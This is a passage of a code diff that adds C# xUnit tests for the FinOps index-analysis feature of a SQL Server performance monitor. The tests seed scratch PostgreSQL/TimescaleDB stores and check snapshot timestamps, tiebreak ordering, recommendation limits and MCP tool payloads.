+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerA, "srv", ct);
+        var t = new DateTime(2026, 1, 15, 12, 0, 0, DateTimeKind.Unspecified);
+        await Insert(connection, ServerA, DbX, 1, "i1", t, 1, 10, ct);
+        await Insert(connection, ServerA, DbY, 1, "j1", t.AddDays(-3), 2, 30, ct);
+        /* The analyzer drops rows with no type, key or size, so give both indexes a body. */
+        await Exec(connection, "UPDATE index_object_stats SET index_type_desc = 'NONCLUSTERED', key_columns = '[a]', reserved_mb = 100, total_rows = 1000, "
+            + "is_unique = false, is_primary_key = false, is_disabled = false, user_seeks = 0, user_scans = 0, user_lookups = 0, user_updates = 5", ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var read = await DarlingFinOpsIndexAnalysisReader.GetIndexAnalysisWithSnapshotTimesAsync(ds, ServerA, 30, ct);
+        Assert.Equal(new DateTime(2026, 1, 15, 12, 0, 0, DateTimeKind.Utc), read.SnapshotTimes[DbX]);
+        Assert.Equal(new DateTime(2026, 1, 12, 12, 0, 0, DateTimeKind.Utc), read.SnapshotTimes[DbY]);
+
+        var payload = await DarlingMcpFinOpsTools.GetFinOps(ds, "index_analysis", "srv", 24, 10, cancellationToken: ct);
+        using var doc = JsonDocument.Parse(payload);
+        var root = doc.RootElement;
+        Assert.True(root.TryGetProperty("overall", out var overall), payload);
+        Assert.False(overall.TryGetProperty("captured_at", out _), "overall spans databases and carries no single time");
+        var stamped = new Dictionary<string, string?>();
+        foreach (var d in root.GetProperty("databases").EnumerateArray())
+        {
+            stamped[d.GetProperty("database_name").GetString()!] = d.GetProperty("captured_at").GetString();
+        }
+
+        Assert.Equal(McpHelpers.FormatEffectiveStart(new DateTime(2026, 1, 15, 12, 0, 0, DateTimeKind.Utc)), stamped["db5"]);
+        Assert.Equal(McpHelpers.FormatEffectiveStart(new DateTime(2026, 1, 12, 12, 0, 0, DateTimeKind.Utc)), stamped["db6"]);
+        Assert.EndsWith("T12:00:00.0000000Z", stamped["db6"]);
+    }
+
+    /// <summary>Two database ids can share one name once a database leaves collection scope and is recreated: id 7 (left
+    /// scope, newest cycle four days back) and id 8 (live) are both "Shared", and id 9 is "shared" on a case-sensitive
+    /// instance. Each row carries ITS OWN time, through the reader map, get_finops captured_at and the viewer rollup rows.
+    /// Fixed anchors, never the wall clock.</summary>
+    [Fact]
+    public async Task TwoIdsSharingOneName_EachCarryTheirOwnSnapshotTime_AndANameDifferingByCaseStaysApart()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the latest-snapshot live test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        if (await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct))
+        {
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+            await Exec(connection, "SELECT _timescaledb_functions.stop_background_workers()", ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerA, "srv", ct);
+        var t = new DateTime(2026, 1, 15, 12, 0, 0, DateTimeKind.Unspecified);
+        await Insert(connection, ServerA, 7, 1, "s7", t.AddDays(-4), 1, 10, ct, "Shared");
+        await Insert(connection, ServerA, 8, 1, "s8", t, 2, 20, ct, "Shared");
+        await Insert(connection, ServerA, 9, 1, "s9", t.AddDays(-1), 3, 30, ct, "shared");
+        await Exec(connection, "UPDATE index_object_stats SET index_type_desc = 'NONCLUSTERED', key_columns = '[a]', reserved_mb = 100, total_rows = 1000, "
+            + "is_unique = false, is_primary_key = false, is_disabled = false, user_seeks = 0, user_scans = 0, user_lookups = 0, user_updates = 5", ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var at7 = new DateTime(2026, 1, 11, 12, 0, 0, DateTimeKind.Utc);
+        var at8 = new DateTime(2026, 1, 15, 12, 0, 0, DateTimeKind.Utc);
+        var at9 = new DateTime(2026, 1, 14, 12, 0, 0, DateTimeKind.Utc);
+        var read = await DarlingFinOpsIndexAnalysisReader.GetIndexAnalysisWithSnapshotTimesAsync(ds, ServerA, 30, ct);
+        Assert.Equal(at7, read.SnapshotTimes[7]);
+        Assert.Equal(at8, read.SnapshotTimes[8]);
+        Assert.Equal(at9, read.SnapshotTimes[9]);
+
+        var viewerRows = ViewerDataService.ProjectRollups(read.Result, read.SnapshotTimes).Where(r => r.Scope != "ALL DATABASES").ToList();
+        Assert.Equal(new[] { "Shared|" + at7.Ticks, "Shared|" + at8.Ticks, "shared|" + at9.Ticks },
+            viewerRows.Select(v => v.Scope + "|" + v.CollectionTimeUtc!.Value.Ticks).OrderBy(x => x, StringComparer.Ordinal).ToArray());
+
+        var payload = await DarlingMcpFinOpsTools.GetFinOps(ds, "index_analysis", "srv", 24, 10, cancellationToken: ct);
+        using var doc = JsonDocument.Parse(payload);
+        var stamped = doc.RootElement.GetProperty("databases").EnumerateArray()
+            .Select(d => d.GetProperty("database_name").GetString() + "|" + d.GetProperty("captured_at").GetString())
+            .OrderBy(s => s, StringComparer.Ordinal).ToArray();
+        Assert.Equal(new[]
+        {
+            "Shared|" + McpHelpers.FormatEffectiveStart(at7),
+            "Shared|" + McpHelpers.FormatEffectiveStart(at8),
+            "shared|" + McpHelpers.FormatEffectiveStart(at9),
+        }, stamped);
+    }
+
+    private static async Task<Dictionary<int, DateTime>> ReadStampsAsync(NpgsqlConnection connection, int serverId, CancellationToken ct)
+    {
+        var stamps = new Dictionary<int, DateTime>();
+        await using var command = new NpgsqlCommand(DarlingFinOpsIndexAnalysisReader.IndexObjectStatsLatestSql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            /* Ordinal 40 is collection_time, the last column of the read contract. */
+            stamps[reader.GetInt32(1)] = DateTime.SpecifyKind(reader.GetDateTime(40), DateTimeKind.Utc);
+        }
+
+        return stamps;
+    }
+
+    private static async Task<Dictionary<(int Db, string Index), long>> ReadAsync(NpgsqlConnection connection, int serverId, CancellationToken ct)
+    {
+        var rows = new Dictionary<(int, string), long>();
+        await using var command = new NpgsqlCommand(DarlingFinOpsIndexAnalysisReader.IndexObjectStatsLatestSql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            /* Ordinals 1 (database_id), 6 (index_name) and 24 (user_seeks) of the read contract. */
+            rows.Add((reader.GetInt32(1), reader.GetString(6)), reader.GetInt64(24));
+        }
+
+        return rows;
+    }
+
+    /* user_seeks carries the row's identity; the tie-break row (collection_id 6) is seeded with 13, but the answer
+       asserts 12 + 1 so the expected value reads as "the higher collection_id's value". */
+    private static async Task Insert(NpgsqlConnection c, int serverId, int dbId, int indexId, string name,
+        DateTime at, long collectionId, long seeks, CancellationToken ct, string? databaseName = null)
+    {
+        await using var insert = new NpgsqlCommand(
+            "INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, database_id, "
+            + "schema_name, object_id, table_name, index_id, index_name, user_seeks, partition_count) "
+            + "VALUES ($1, $2, $3, 'srv', COALESCE($8, 'db' || $4), $4, 'dbo', 100, 'T', $5, $6, $7, 1)", c);
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = collectionId });
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = at });
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = dbId });
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = indexId });
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Varchar, Value = name });
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = seeks });
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Varchar, Value = (object?)databaseName ?? DBNull.Value });
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<int> CompressAllButNewestAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await Exec(connection, "ALTER TABLE collect.index_object_stats SET (timescaledb.compress, timescaledb.compress_segmentby = 'server_id')", ct);
+        var chunks = new List<string>();
+        await using (var list = new NpgsqlCommand(
+            "SELECT format('%I.%I', chunk_schema, chunk_name) FROM timescaledb_information.chunks "
+            + "WHERE hypertable_schema = 'collect' AND hypertable_name = 'index_object_stats' AND NOT is_compressed "
+            + "ORDER BY range_end DESC OFFSET 1", connection))
+        await using (var reader = await list.ExecuteReaderAsync(ct))
+        {
+            while (await reader.ReadAsync(ct))
+            {
+                chunks.Add(reader.GetString(0));
+            }
+        }
+
+        foreach (var chunk in chunks)
+        {
+            await using var compress = new NpgsqlCommand("SELECT compress_chunk($1::regclass, if_not_compressed => true)", connection);
+            compress.Parameters.AddWithValue(chunk);
+            await compress.ExecuteNonQueryAsync(ct);
+        }
+
+        return chunks.Count;
+    }
+
+    private static async Task Exec(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsIndexAnalysisLatestTiebreakTests.cs b/Darling/Darling.Tests/FinOpsIndexAnalysisLatestTiebreakTests.cs
new file mode 100644
index 0000000000..6b409facaa
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsIndexAnalysisLatestTiebreakTests.cs
@@ -0,0 +1,34 @@
+// Copyright (c) 2026 Erik Darling, Darling Data LLC
+//
+// This file is part of the SQL Server Performance Monitor.
+//
+// Licensed under the MIT License. See LICENSE file in the project root for full license information.
+
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pin: the "latest row per index" read must end its ORDER BY with <c>collection_id DESC</c>. Two rows for one
+/// index can share a collection_time, and DISTINCT ON without a final tiebreak returns whichever row PostgreSQL
+/// happens to see first, so the Index Analysis tab and get_finops index_analysis could show either one. The live
+/// golden (<c>FinOpsIndexAnalysisGoldenLiveTests</c>) seeds such a tie; this pin fails on every rig, not only the
+/// ones where the planner picks the wrong row.
+/// </summary>
+public sealed class FinOpsIndexAnalysisLatestTiebreakTests
+{
+    [Fact]
+    public void IndexObjectStatsLatestSql_BreaksACollectionTimeTieWithCollectionIdDesc()
+    {
+        var sql = DarlingFinOpsIndexAnalysisReader.IndexObjectStatsLatestSql;
+        Assert.EndsWith("s.collection_time DESC, s.collection_id DESC", sql.TrimEnd());
+    }
+
+    [Fact]
+    public void ServerCompressionInfoSql_BreaksACollectionTimeTieWithCollectionIdDesc()
+    {
+        var sql = DarlingFinOpsIndexAnalysisReader.ServerCompressionInfoSql;
+        Assert.Contains("ORDER BY collection_time DESC, collection_id DESC", sql);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsIndexAnalysisLimitBehaviourTests.cs b/Darling/Darling.Tests/FinOpsIndexAnalysisLimitBehaviourTests.cs
new file mode 100644
index 0000000000..8ec472eae6
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsIndexAnalysisLimitBehaviourTests.cs
@@ -0,0 +1,121 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// How many recommendations the FinOps Index Analysis tab asks for and what it says when the read cut the list (#5238), run from
+/// the shipped page script under Node (<c>finops-index-analysis-limit-harness.mjs</c>): the first read asks for 500, a cut list
+/// says it stops at the limit and how many are not shown (one left over reads "is", not "are"), a cut list of one database does not send the reader back to the
+/// Database box, and a list that fits, or has exactly as many as the limit lists, says nothing about a cut. Node is skipped when
+/// it is not installed.
+/// </summary>
+public sealed class FinOpsIndexAnalysisLimitBehaviourTests
+{
+    private const string Tail = " Analyzed from each database's newest collected snapshot.";
+
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "finops-index-analysis-limit-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page scripts cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the index analysis limit harness did not finish in 20 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the index analysis limit harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Notices(JsonElement step) => step.GetProperty("notices").EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    private static string[] Limits(JsonElement step) => step.GetProperty("reads").EnumerateArray().Select(e => e.GetProperty("limit").GetString()!).ToArray();
+
+    [Fact]
+    public void TheFirstReadAsksForFiveHundredRecommendations_AndSoDoesAFilteredOne()
+    {
+        var run = Run();
+        Assert.Equal(new[] { "500" }, Limits(run.GetProperty("cut")));
+        Assert.Equal(new[] { "500" }, Limits(run.GetProperty("filtered")));
+        Assert.Equal("Alpha", run.GetProperty("filtered").GetProperty("reads")[0].GetProperty("database_name").GetString());
+    }
+
+    [Fact]
+    public void ACutListSaysItStopsAtTheLimit_HowManyAreNotShown_AndWhereToNarrowIt()
+    {
+        var notices = Notices(Run().GetProperty("cut"));
+        Assert.Equal(
+            new[] { "Showing the largest 500 of 612 recommendations. The list stops at 500, so 112 more are not shown. Choose a database above to see its own list." + Tail },
+            notices);
+    }
+
+    [Fact]
+    public void ACutListOfOneDatabaseDoesNotSendTheReaderBackToTheDatabaseBox()
+    {
+        var notices = Notices(Run().GetProperty("filtered"));
+        Assert.Equal(
+            new[] { "Showing the largest 500 of 503 recommendations. The list stops at 500, so 3 more are not shown. Database Alpha." + Tail },
+            notices);
+    }
+
+    /* The count of what is left reads "1 more is not shown" for one and "N more are not shown" for any other number. */
+    [Fact]
+    public void ACutListLeavingExactlyOneSaysOneMoreIsNotShown_NotOneMoreAreNotShown()
+    {
+        var notices = Notices(Run().GetProperty("oneOver"));
+        Assert.Equal(
+            new[] { "Showing the largest 500 of 501 recommendations. The list stops at 500, so 1 more is not shown. Choose a database above to see its own list." + Tail },
+            notices);
+    }
+
+    [Fact]
+    public void AListThatFits_OrHasExactlyAsManyAsTheLimit_SaysNothingAboutACut()
+    {
+        var run = Run();
+        Assert.Equal(new[] { "3 recommendations." + Tail }, Notices(run.GetProperty("fits")));
+        Assert.Equal(new[] { "500 recommendations." + Tail }, Notices(run.GetProperty("exact")));
+    }
+
+    /* The Database box is shared with the Locking tab (#5244 L8c): a typed "alpha" is sent as the listed "Alpha" (PostgreSQL = is
+       case-sensitive); a name no list holds is sent as typed. RED before the lift: the raw draft was sent. */
+    [Fact]
+    public void ATypedNameThatDiffersOnlyByCase_IsSentInItsStoredSpelling()
+    {
+        var step = Run().GetProperty("storedSpelling");
+        Assert.Equal(new[] { "Alpha" }, step.GetProperty("typedLower").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Equal(new[] { "Gamma" }, step.GetProperty("typedUnknown").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Equal("Gamma", step.GetProperty("shown").GetString());
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsIndexAnalysisViewLiveTests.cs b/Darling/Darling.Tests/FinOpsIndexAnalysisViewLiveTests.cs
new file mode 100644
index 0000000000..e001ee420d
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsIndexAnalysisViewLiveTests.cs
@@ -0,0 +1,330 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each fact seeds its own scratch database, so nothing here shares rows with another test. */
+/// <summary>
+/// Live pins for <c>get_finops</c> view <c>index_analysis</c>: the tool's payload against the Storage reader on the
+/// same seeded store, the empty and not-collected answers, the <c>database_name</c> filter, the <c>limit</c> cut with
+/// its counts, and the <c>full_text</c> cap. Server A has a short uptime; server C has a 400-day uptime and long
+/// index definitions; server B has no index rows.
+/// </summary>
+public sealed class FinOpsIndexAnalysisViewLiveTests
+{
+    internal const string ServerNameA = "darling-finops-iav-a";
+    internal const string ServerNameB = "darling-finops-iav-b";
+    internal const string ServerNameC = "darling-finops-iav-c";
+    internal static readonly int ServerIdA = ServerIdHelper.GetDeterministicHashCode(ServerNameA);
+    private static readonly int ServerIdB = ServerIdHelper.GetDeterministicHashCode(ServerNameB);
+    private static readonly int ServerIdC = ServerIdHelper.GetDeterministicHashCode(ServerNameC);
+
+    private static string? Cs => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    internal static async Task<ScratchPostgres> SeedAsync(string cs, CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(cs, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdA, ServerNameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdB, ServerNameB, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdC, ServerNameC, ct);
+
+        var anchor = DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified);
+        /* #5496: sqlserver_start_time is the target's LOCAL wall clock and the reader compares it with the host's local now, so
+           both start times come from ONE local reading. Seeding the long-uptime start from the UTC anchor made the uptime 399
+           between 00:00 UTC and local midnight on a zone behind UTC (the golden twin carries the same fix). */
+        var localNow = DateTime.Now;
+        var old = anchor.AddDays(-3).AddHours(2);
+        var recent = anchor.AddDays(-1).AddHours(2);
+        const string props = "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, edition, engine_edition, product_version, sqlserver_start_time) VALUES ($1, $2, $3, $4, $5, $6, $7, $8)";
+        await DarlingMcpTestData.ExecAsync(connection, ct, props,
+            CollectionIdGenerator.Next(), recent, ServerIdA, ServerNameA, "Standard Edition", 2, "16.0.1000.6", localNow.AddDays(-5).AddHours(-1));
+        await DarlingMcpTestData.ExecAsync(connection, ct, props,
+            CollectionIdGenerator.Next(), recent, ServerIdC, ServerNameC, "Standard Edition", 2, "16.0.1000.6", DateTime.SpecifyKind(localNow.Date.AddDays(-400), DateTimeKind.Unspecified));
+
+        foreach (var (id, name) in new[] { (ServerIdA, ServerNameA), (ServerIdC, ServerNameC) })
+        {
+            await InsertAsync(connection, old, "tenant_alpha", 1, 100, 1, "PK_Orders", "CLUSTERED", "[OrderId]", null, true, true, 900m, 50000, 10, 5, 0, 700, id, name, ct);
+            await InsertAsync(connection, recent, "tenant_alpha", 1, 100, 1, "PK_Orders", "CLUSTERED", "[OrderId]", null, true, true, 910.5m, 51000, 12, 6, 1, 800, id, name, ct);
+            await InsertAsync(connection, recent, "tenant_alpha", 1, 100, 2, "IX_Orders_Cust", "NONCLUSTERED", "[CustomerId]", "[Total]", false, false, 120.25m, 51000, 400, 20, 0, 800, id, name, ct);
+            await InsertAsync(connection, recent, "tenant_alpha", 1, 100, 3, "IX_Orders_Cust_Dup", "NONCLUSTERED", "[CustomerId]", "[Total]", false, false, 118m, 51000, 0, 0, 0, 800, id, name, ct);
+            await InsertAsync(connection, recent, "tenant_alpha", 1, 100, 4, "IX_Orders_Unused", "NONCLUSTERED", "[ShipDate]", null, false, false, 64m, 51000, 0, 0, 0, 800, id, name, ct);
+            await InsertAsync(connection, recent, "tenant_beta", 2, 200, 1, "PK_Jobs", "CLUSTERED", "[JobId]", null, true, true, 5m, 900, 3, 1, 0, 40, id, name, ct);
+            await InsertAsync(connection, recent, "tenant_beta", 2, 200, 2, "IX_Jobs_State", "NONCLUSTERED", "[State]", "[Owner]", false, false, 2.5m, 900, 0, 0, 0, 40, id, name, ct);
+        }
+
+        /* Server C: a pair with the same keys and different included columns (the analyzer merges them) whose key and included column lists are long enough that the script and the
+           original definition both pass the 300-character cap. */
+        var keys = string.Join(", ", Enumerable.Range(1, 14).Select(i => $"[KeyColumn_{i:D2}_padding_padding]"));
+        var included = string.Join(", ", Enumerable.Range(1, 14).Select(i => $"[IncludedColumn_{i:D2}_padding]"));
+        await InsertAsync(connection, recent, "tenant_gamma", 3, 300, 1, "PK_Wide", "CLUSTERED", "[WideId]", null, true, true, 7m, 1000, 5, 1, 0, 30, ServerIdC, ServerNameC, ct);
+        await InsertAsync(connection, recent, "tenant_gamma", 3, 300, 2, "IX_Wide_One", "NONCLUSTERED", keys, included, false, false, 300m, 1000, 90, 1, 0, 30, ServerIdC, ServerNameC, ct);
+        await InsertAsync(connection, recent, "tenant_gamma", 3, 300, 3, "IX_Wide_Two", "NONCLUSTERED", keys, "[OtherIncluded_padding_one], [OtherIncluded_padding_two]", false, false, 290m, 1000, 40, 2, 0, 30, ServerIdC, ServerNameC, ct);
+        return scratch;
+    }
+
+    private static Task InsertAsync(NpgsqlConnection c, DateTime at, string db, int dbId, int objectId, int indexId,
+        string index, string type, string keys, string? included, bool unique, bool primary, decimal reservedMb,
+        long rows, long seeks, long scans, long lookups, long updates, int serverId, string serverName, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, database_id, schema_name, object_id, table_name, index_id, index_name, index_type_desc, key_columns, included_columns, is_unique, is_primary_key, reserved_mb, total_rows, user_seeks, user_scans, user_lookups, user_updates, row_lock_wait_count, row_lock_wait_in_ms, partition_count, sqlserver_start_time) VALUES ($1,$2,$3,$4,$5,$6,'dbo',$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,1,$24)",
+            CollectionIdGenerator.Next(), at, serverId, serverName, db, dbId, objectId, "T" + objectId, indexId, index, type, keys,
+            (object?)included ?? DBNull.Value, unique, primary, reservedMb, rows, seeks, scans, lookups, updates, indexId * 3L, indexId * 11L,
+            at.Date.AddDays(-400));
+
+    private static JsonElement Elem(object value) => JsonSerializer.SerializeToElement(value, McpHelpers.JsonOptions);
+
+    private static void AssertSame(JsonElement expected, JsonElement actual, string what) =>
+        Assert.True(JsonElement.DeepEquals(expected, actual), $"{what}: expected {expected.GetRawText()} but got {actual.GetRawText()}");
+
+    private static async Task<JsonDocument> ToolAsync(NpgsqlDataSource pg, string server, int limit = 10, string? db = null, bool full = false, CancellationToken ct = default) =>
+        JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(pg, "index_analysis", server, 24, limit, db, full, cancellationToken: ct));
+
+    [Theory]
+    [InlineData(ServerNameA)]
+    [InlineData(ServerNameC)]
+    public async Task Payload_EqualsTheStorageReader_ThroughTheToolsOwnProjectors(string server)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live index_analysis view test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var pg = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var id = ServerIdHelper.GetDeterministicHashCode(server);
+
+        var withTimes = await DarlingFinOpsIndexAnalysisReader.GetIndexAnalysisWithSnapshotTimesAsync(pg, id, 30, ct);
+        var read = withTimes.Result;
+        using var doc = await ToolAsync(pg, server, limit: 50, ct: ct);
+        var root = doc.RootElement;
+
+        AssertSame(Elem(DarlingMcpFinOpsTools.IndexAnalysisRollupRow(read.OverallRollup, false)), root.GetProperty("overall"), "overall");
+        var dbs = DarlingMcpFinOpsTools.OrderIndexAnalysisDatabases(read.DatabaseRollups);
+        Assert.Equal(dbs.Count, root.GetProperty("databases").GetArrayLength());
+        for (var i = 0; i < dbs.Count; i++)
+            AssertSame(Elem(DarlingMcpFinOpsTools.IndexAnalysisRollupRow(dbs[i], true, withTimes.SnapshotTimes[dbs[i].DatabaseId!.Value])), root.GetProperty("databases")[i], "database " + i);
+        var recs = DarlingMcpFinOpsTools.OrderIndexAnalysisRecommendations(read.Recommendations);
+        Assert.True(recs.Count > 0);
+        Assert.Equal(recs.Count, root.GetProperty("recommendation_count").GetInt32());
+        Assert.Equal(recs.Count, root.GetProperty("recommendations").GetArrayLength());
+        for (var i = 0; i < recs.Count; i++)
+            AssertSame(Elem(DarlingMcpFinOpsTools.IndexAnalysisRecommendationRow(recs[i], false)), root.GetProperty("recommendations")[i], "recommendation " + i);
+        Assert.Equal(read.UptimeWarning, root.GetProperty("uptime_warning").GetBoolean());
+        Assert.Equal(read.DedupeOnlyApplied, root.GetProperty("dedupe_only_applied").GetBoolean());
+        Assert.True(read.Notes.All(n => root.GetProperty("notes").EnumerateArray().Any(x => x.GetString() == n)));
+    }
+
+    [Fact]
+    public void NoteConstants_EqualTheViewersBannerStrings()
+    {
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "FinOpsTab.IndexAnalysis.cs").ReplaceLineEndings("\n");
+        Assert.Contains("\"" + DarlingMcpFinOpsTools.IndexAnalysisUptimeNote.Replace("\"", "\\\"") + "\"", viewer, StringComparison.Ordinal);
+        Assert.Contains("\"" + DarlingMcpFinOpsTools.IndexAnalysisDedupeNote + "\"", viewer, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task SeededRecommendations_CarryTheLiteralFieldValues()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live index_analysis view test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var pg = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var doc = await ToolAsync(pg, ServerNameC, limit: 50, db: "tenant_alpha", ct: ct);
+        var rows = doc.RootElement.GetProperty("recommendations").EnumerateArray().ToList();
+        /* Ordered by size: the 118 MB duplicate (0.115 GB) precedes the 64 MB unused index (0.063 GB). */
+        Assert.Equal(new[] { "IX_Orders_Cust_Dup", "IX_Orders_Unused" }, rows.Select(r => r.GetProperty("index_name").GetString()).ToArray());
+        var dup = rows[0];
+        Assert.Equal("DISABLE", dup.GetProperty("action").GetString());
+        Assert.Equal(3, dup.GetProperty("index_id").GetInt32());
+        Assert.Equal(0.115m, dup.GetProperty("index_size_gb").GetDecimal());
+        Assert.Equal(51000, dup.GetProperty("index_rows").GetInt64());
+        Assert.StartsWith("ALTER INDEX [IX_Orders_Cust_Dup] ON [tenant_alpha].[dbo].", dup.GetProperty("script").GetString(), StringComparison.Ordinal);
+        Assert.Equal(0.063m, rows[1].GetProperty("index_size_gb").GetDecimal());
+    }
+
+    [Fact]
+    public async Task HandPinnedFigures_AreRoundedAndAveragedAsDocumented()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live index_analysis view test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var pg = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var doc = await ToolAsync(pg, ServerNameC, limit: 50, ct: ct);
+        var alpha = doc.RootElement.GetProperty("databases").EnumerateArray().Single(d => d.GetProperty("database_name").GetString() == "tenant_alpha");
+        /* 910.5 + 120.25 + 118 + 64 MB reserved = 1212.75 MB; / 1024 = 1.18433... GB, so three decimals is 1.184. */
+        Assert.Equal(1.184m, alpha.GetProperty("total_size_gb").GetDecimal());
+        /* Lock waits: indexes 1-4 carry 3, 6, 9 and 12 waits and 11, 22, 33 and 44 ms; 110 ms / 30 waits = 3.666... -> 3.67. */
+        Assert.Equal(30, alpha.GetProperty("lock_wait_count").GetInt64());
+        Assert.Equal(3.67m, alpha.GetProperty("avg_lock_wait_ms").GetDecimal());
+        Assert.Equal(0m, alpha.GetProperty("avg_latch_wait_ms").GetDecimal());
+    }
+
+    [Fact]
+    public async Task ServerWithNoIndexRows_AnswersEmpty_AndAPostgresTargetAnswersNotCollected()
+    {
